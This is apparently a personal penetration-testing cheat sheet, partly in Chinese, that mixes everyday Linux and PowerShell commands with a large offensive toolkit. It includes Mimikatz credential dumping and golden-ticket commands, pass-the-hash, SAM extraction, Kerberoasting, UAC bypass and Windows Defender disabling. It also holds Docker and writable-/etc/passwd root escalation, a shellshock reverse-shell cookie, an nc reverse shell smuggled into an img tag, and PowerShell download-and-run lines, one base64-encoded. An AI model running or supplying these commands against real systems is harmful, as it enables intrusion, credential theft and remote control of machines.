一些常用的工具和命令
Linux
- Base
:
split
- Python3 Creation of virtual environments
- OpenVPN
- Json validate and pretty-print(Python module)
- Json validate and pretty-print(jq command)
- rlwrap
- stty
- Multiple lines to one line
- rdesktop
- wget https
- nc prot scan
- Quick file transfer
- awk
- sed
- mount
:
split
Python3 Creation of virtual environments
| python3 -m venv $(pwd) source bin/activate
deactivate
|
OpenVPN
| sudo openvpn --config OSCP-00000.ovpn --daemon
|
Json validate and pretty-print
| python -m json.tool out.json
cat out.json | python -m json.tool
|
jq JSON validate and pretty-print
| cat output.json | jq '.results[0].url'
|
rlwrap
stty
|
python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
fg
export TERM=xterm256-color
|
Multiple lines to one line
| cat sqlserver.hash | xargs | sed -e 's/ //g'
|
rdesktop
| rdesktop -u carol -p xxxxxxx 127.0.0.1 -r clipboard:CLIPBOARD -g 3584x2240@200
|
wget https
| wget --no-check-certificate https://www.exploit-db.com/download/28806 -O 28806.zip
|
Nc Port Scan
| nc -zvn -w 1 10.3.3.14 20-1000 2>&1 | tee port.txt
|
Quick file transfer
| nc -lvnp 4444 > file
cat file > /dev/tcp/10.10.11.11/4444
|
awk
| cat wordlists | awk 'length($1) > 4'
|
| awk '{for(i=1;i<=NF;i++){print $i}}'
|
| echo "user:name" | awk -F: '{print $1}'
|
sed
| head -4 useProt.txt
cat Prot.txt | awk '{print $2}' | sort -un | xargs | sed -e 's/\/tcp//g' | sed -e 's/ /, /g'
|
删除 evil开头的那一行
| sed -i "/^evil/d" /etc/passwd
|
不显示 evil开头的那一行(原文件不变)
| sed -e "/^evil/d" /etc/passwd
|
替换包含 evil字符串的行(注意 /c)
| sed -i '/evil/cevil:xxxx' pass
|
mount
| mount -t cifs -o user=luke //10.11.x.x/share /mnt/<local_folder> mount -t cifs //10.11.x.x/'Bob Share' /mnt/smb -o rw,vers=1.0,dir_mode=0777,file_mode=0666,nounix
|
Windows
- Base
- PATH List
- Split string with
- Set Windows PATH For The Current Session
- rundll32
- cmdkey list
- service start/stop
- whoami
- Add users to the group
- look at the domain’s account policy(Low and Slow Password Guessing)
- delete file/folder
- findstr color
- where
- setspn
- tasklist
- firewall
- runas
- Extracting the SAM database
- Powershell
- Powershell Like Grep
- Powershell ExecutionPolicy
- Run command in backgroud
- Target architecture
- Copy to a remote computer
- Remote to local computer
- like
find . / ls -al
- PSCredential plain-text passwd
- New-PSDrive Remote Computer
- Port Scan
- Find Keyword
- Disable/Enable Windows Defender
PATH List
| echo %PATH:;=&echo.%
$env:PATH
|
Split string with
| $p=$env:PATH $p.Split(";")
|
Set Windows PATH For The Current Session
| set PATH="%PATH%;C:\path\to\directory\"
$env:PATH += "C:\Users\0x20C\Desktop\Pentest\Sigcheck\"
$env:PATH += ";C:\Users\0x20C\Desktop\Pentest\Sigcheck\"
|
rundll32
| rundll32.exe open_cmd_dll.dll,InvokeCmd
|
cmdkey list
service start/stop
| net stop service && net start service
|
whoami
| whoami /groups
whoami /priv
|
Add users to the group
| net localgroup "Remote Desktop users" evil /add net localgroup "Debugger Users" evil /add
net localgroup "Remote Management Users" evil /add
|
look at the domain’s account policy
delete file/folder
| del re.exe rd /s /q C:\tools
rd folder
|
findstr color
| findstr /n /i /a:6 /s "Password" config.xml
|
where
| where /r C:\windows eventvwr.exe
|
setspn
tasklist
| tasklist taskkill /PID 1864 /F taskkill /im:shell.exe /f
|
firewall
| netsh firewall show state
netsh firewall show portopening netsh firewall show currentprofile netsh firewall show config
|
runas
| cmdkey /add:domain /user:USER /pass:PASS cmdkey /delete:Domain:interactive=BETHANY\alice
runas /savecred /user:alias cmd.exe
|
Extracting the SAM database
| reg save hklm\sam C:\SAM reg save hklm\system C:\SYSTEM reg save hklm\security C:\SECURITY
|
Powershell
Powershell like grep
| Select-String -Pattern "requestedExecutionLevel" -Context 0,2
|
Powershell ExecutionPolicy
| powershell.exe -Nop -ExecutionPolicy Bypass -File C:\Windows\System32\spool\drivers\color\ps.ps1 powershell.exe -Nop -ep Bypass -File C:\Windows\System32\spool\drivers\color\ps.ps1
|
Run command in backgroud
| start /b powershell -nop -enc SQBFA...
Invoke-Command -AsJob -ComputerName XOR-APP23 -Credential $crel -ScriptBlock { powershell -nop -enc SQB... }
Get-Job
|
Target architecture
| $ENV:PROCESSOR_ARCHITECTURE
[IntPtr]::Size
|
| $session = New-PSSession -ComputerName XOR-APP23 -Credential $crel
Get-PSSession
|
Copy to a remote computer
| Copy-Item "C:\files\mimikatz.exe" -Destination "C:\Users\Public\Documents\" -ToSession $session -Recurse
|
Remote to local computer
| Copy-Item "C:\Users\ik.ps1" -Destination "C:\Documents\" -FromSession $session -Recurse
|
like find . / ls -al
| Get-ChildItem -Path . -Recurse -Force
|
PSCredential plain-text passwd
| $password = ConvertTo-SecureString 'MySecretPassword' -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential ('root', $password)
$credential.GetNetworkCredential() $credential.GetNetworkCredential().Password
|
New-PSDrive Remote Computer
| smbserver.py -smb2support -username admin -password 123456 shareme $(pwd)
New-PSDrive -Name evil -PSProvider FileSystem -Root \\192.168.119.167\shareme
$sp = ConvertTo-SecureString '123456' -AsPlainText -Force
$cred = New-PSDrive -Name evil -PSProvider FileSystem -Root \\192.IP\shareme New-PSDrive -Name evil -PSProvider FileSystem -Credential $cred -Root \\192.IP\shareme
Remove-PSDrive -Name evil
Get-PSDrive
|
Port Scan
| $ports = "21 22 25 53 80 111 139 443 445 3306 3389 8000 8080" $ip = "192.168.0.100" $ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null
|
Find Keyword
| gci C:\www -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
|
Disable/Enable Windows Defender
| Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableRealtimeMonitoring $false
|
- Port Scan
- Mimikatz
- PsExec
- JuicyPotato
- SMB
- psexec.py
- wmiexec.py
- smbclient
- Password
- MSF
- Hash
- Web
- Scan
- Dir Enum
- Password Attack
- SQL Injection
- Ldap
Port Scan
Nmap
| nmap -sU -sV --top-ports 100 -oA nmap/top_100_udp 10.11.1.44
|
| proxychains4 nmap -Pn -sT -sC -sV -oA nmap/full 10.1.xx.x
|
Masscan
| masscan -p1-65535,U:1-65535 10.11.1.111 --rate=1000 -e tun0 > ports
|
Mimikatz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| mimikatz.exe "lsadump::sam" exit
mimikatz.exe "lsadump::secrets" exit
mimikatz.exe "kerberos::list /export" "exit"
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz.exe "lsadump::setntml /user:USER /ntml:NTML" exit
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::cache" "exit"
mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::dcsync /user:Krbtgt" "exit"
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "exit"
mimikatz.exe "vault::cred" "exit"
mimikatz.exe "sekurlsa::pth /user:alice /domain:SVCORP.COM /ntlm:xxx04xx6B8F7B2A3B6C47780xxxxxxxx /run:C:\Windows\System32\spool\drivers\color\re9.exe" "exit"
mimikatz.exe "kerberos::golden /user:evil /domain:corp.com /sid:S-1-5-21-x-x-x /rc4:7xxx5 /ptt" mimikatz.exe "kerberos::golden /user:evil /domain:corp.com /sid:S-1-5-21-x-x-x /target:xxx.corp.com /service:HOST /krbtgt:7xxx5 /ptt" mimikatz.exe "misc::cmd"
|
PsExec
local cmd
| PsExec64.exe -i -u awsl -p callme1234 C:\Windows\System32\cmd.exe
|
JuicyPotato
|
cmd /c 'JuicyPotato.exe -l 1234 -p re.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}'
|
SMB
psexec
| psexec.py -hashes :700a8c186d267b607559db7xxxxxxxxxx Administrator@10.11.1.13
|
| wmiexec.py -hashes :700a8c186d267b607559db7xxxxxxxxxx Administrator@10.11.1.13
|
crackmapexec
| crackmapexec smb 10.11.x.x -u Administrator -H xxxxxxxxxxHash
crackmapexec smb 10.11.x.x -u USER.list -p PASSWD.list
|
smbclient
| smbclient ////10.11.1.13//share smbclient //10.11.1.13/share smbclient -L 10.11.1.231 smbclient //share/home -I 192.10.2.11 -N
|
Password
| hashcat --force --stdout -a 6 year.pass ?d?d?d?d?s > result.pass
|
| proxychains cewl -m 3 -a --with-numbers http://10.11.1.x -w cewl.txt
|
| hydra -I -l root@localhost -P cewl.txt 10.11.1.xx http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=240&User=^USER^&Password=^PASS^:F=Login failed"
|
MSF
msfconsole
| portfwd add -l 8888 -p 445 -r 10.11.1.14 portfwd add -l 445 -p 445 -r 10.11.1.14
|
Suggester
| use post/multi/recon/local_exploit_suggester
|
UAC
| use exploit/windows/local/bypassuac_sdclt getsystem
|
Kiwi
| kiwi_cmd '"sekurlsa::tickets /export"'
|
Search
| search handler type:exploit search cve:2007-2446
|
Upload File
| upload /tmp/callme.vbs C:\callme.vbs
|
Route
| meterpreter > run get_local_subnets
meterpreter > run autoroute -s 10.12.1.0/255.255.255.0
meterpreter > run autoroute -p
|
Modules
searchsploit 45269
| PATH ----------------------- windows/local/45269.rb
|
copy to modules
| mkdir -p $HOME/.msf4/modules/windows/local
searchsploit -m windows/local/45269.rb
|
Hash
Extracting hash from SAM(local)
| reg save hklm\sam C:\SAM reg save hklm\system C:\SYSTEM reg save hklm\security C:\SECURITY
impacket-secretsdump -system system -sam sam -security security LOCAL
|
List history passwd
| secretsdump.py -just-dc -history -hashes LM:NTLM Administrator@10.11.x.x
|
Web
Scan
| nikto -host http://10.11.1.39 -o nikto.json -Format json -Display P nikto -host http://10.11.1.39 -Plugins robots
|
Dir Enum
| ffuf -c -t 30 -fc 403 -w wordlists:DIR -w extensions:EX -u https://127.0.0.1/DIR.EX -o out
|
| wfuzz -c -u http://10.10.10.79/api/get -w /path/to/wordlists -d '{"name": "FUZZ"}'
wfuzz -c -u http://10.10.10.79/api/get -w /path/to/wordlists -d '{"name": "FUZZ"}' -p 127.0.0.1:8080:HTTP
|
| feroxbuster --depth 2 -u http://10.11.1.xx/php/ -x php,txt,conf,cgi -t 50
|
Password Attack
| hydra -I -l root@localhost -P cewl.txt 10.11.1.xx http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=240&User=^USER^&Password=^PASS^:F=Login failed"
|
SQL Injection
| sqlmap -u http://10.11.1.x/login-off.asp --data='txtLoginID=admin&txtPassword=admin&cmdSubmit=Login' --skip='cmdSubmit' --dbms='Microsoft SQL Server' --random-agent
|
Ldap
| ldapsearch -LLL -x -H ldap://sv-dc01.svcorp.com -b '' -s base '(objectclass=*)'
|
Exploit
- pseudo-terminal
- searchsploit
- shellshock attack
/etc/passwd
is writable
- powershell run .ps1 Script
- NFS easy exploit
- if missing ticket
- Kerberoasting
- Crack MsCacheV2(DCC2)
- Unquoted Search Path
- group in docker
pseudo-terminal
| python -c "import pty;pty.spawn('/bin/bash')" export SHELL=/bin/bash alias ls='ls --color=auto' alias ll='ls -alh --color=auto' alias grep='grep --color=auto' export TERM=xterm-256color
|
searchsploit
| searchsploit --id MS17-017 searchsploit -m xxx searchsploit --nmap allport.xml
|
shellshock attack
| Cookie: () { :;}; /bin/bash -c 'whoami; id; ifconfig' Cookie: () { :;}; /bin/bash -c 'exec bash -i &>/dev/tcp/192.168.119.167/4444 <&1'
|
/etc/passwd
is writable
| openssl passwd callme
echo "evil:NIk9BGd8Qt8dI:0:0:root:/root:/bin/bash" >> /etc/passwd
su evil
|
powershell 运行 .ps1 脚本
| powershell -ep Bypass slui_bypass_uac.ps1 powershell -Exec Bypass slui_bypass_uac.ps1
|
NFS easy exploit
| showmount -e 10.11.1.xx
mount -t nfs -o vers=3 10.11.1.x:/home /tmp/home
useradd test
mkdir .ssh ssh-keygen -f target cat target.pub > authorized_keys cp authorized_keys /tmp/home/USER/.ssh/
ssh USER@10.11.1.x -i target
|
if missing ticket
| Invoke-Kerberoast.ps1
Get-SPN.ps1
|
Kerberoasting / John / Hashcat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| mimikatz.exe "kerberos::list /export" "exit"
python /opt/kirbi2hashcat/kirbi2hashcat.py *.kirbi > hashcat/allhash.txt python /usr/share/john/kirbi2john.py *.kirbi > john/alljohn.txt
john --format=krb5tgs hashcat/allhash.txt -w=/usr/share/wordlists/rockyou.txt
Powershell-Empire - Invoke-kerberoast - Hashcat format
Import-Module Invoke-Kerberoast.ps1 Invoke-Kerberoast -Domain xor.com -OutputFormat HashCat | Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt
hashcat -m 13100 hashs/allhash.txt wordlist/rockyou.txt --force
$ python /opt/impacket/examples/GetUserSPNs.py -request xor.com/sqlserver -dc-ip 10.11.1.120 Password: xxxx
|
Crack MsCacheV2(DCC2)
| john --format=mscash2 mscash2.hash -w=/usr/share/wordlists/rockyou.txt
hashcat -m 2100 hashs/mscash2.hash wordlist/rockyou.txt --force
|
Unquoted Search Path
| wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\windows"
|
group in docker
| docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
Misc
| i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32 i686-w64-mingw32-gcc 1198.c -o ms05-018.exe -lws2_32 advapi32.lib
i686-w64-mingw32-gcc -o win32.exe win32.c x86_64-w64-mingw32-gcc -o win64.exe win32.c
|
| gcc -Wl,--hash-style=both -o exp exploit.c
|
可写目录
| C:\Windows\System32\spool\drivers\color
|
可读文件
go 不同架构系统编译
|
GOOS=linux GOARCH=amd64 go build -o linux_64 GOOS=linux GOARCH=386 go build -o i386_64
GOOS=windows GOARCH=amd64 go build -o win_64 GOOS=windows GOARCH=386 go build -o win_32
|
Nc one line
| <img src=http://10.10.16.3/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.16.3'$IFS'4444') />
|
Note
|
powershell "IEX(New-Object Net.WebClient).DownloadString('http://10.11.1.11/callme.ps1')"
|
| echo "IEX(New-Object Net.WebClient).DownloadString('http://10.11.1.11/callme.ps1')" | iconv -t UTF-16LE | base64 -w 0
|
| powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMQAuADEALgAxADEALwBjAGEAbABsAG0AZQAuAHAAcwAxACcAKQAKAA==
|
|
cd "C:\Program Files\Windows Defender"
cd "C:\PROGRA~1\Windows Defender"
MpCmdRun.exe -RemoveDefinitions -All
|
bash 单双引号
| echo -e "#!/bin/bash\nrm -rf /TMP/*" > cron
echo -e '#!/bin/bash\nrm -rf /TMP/*' > cron
cat cron #!/bin/bash rm -rf /TMP/*
|
echo -n
| echo "63616c632e657865" | wc -c
echo -n "63616c632e657865" | wc -c
|
小端显示
| echo "1120110D" | tac -rs .. | echo "$(tr -d '\n')"
|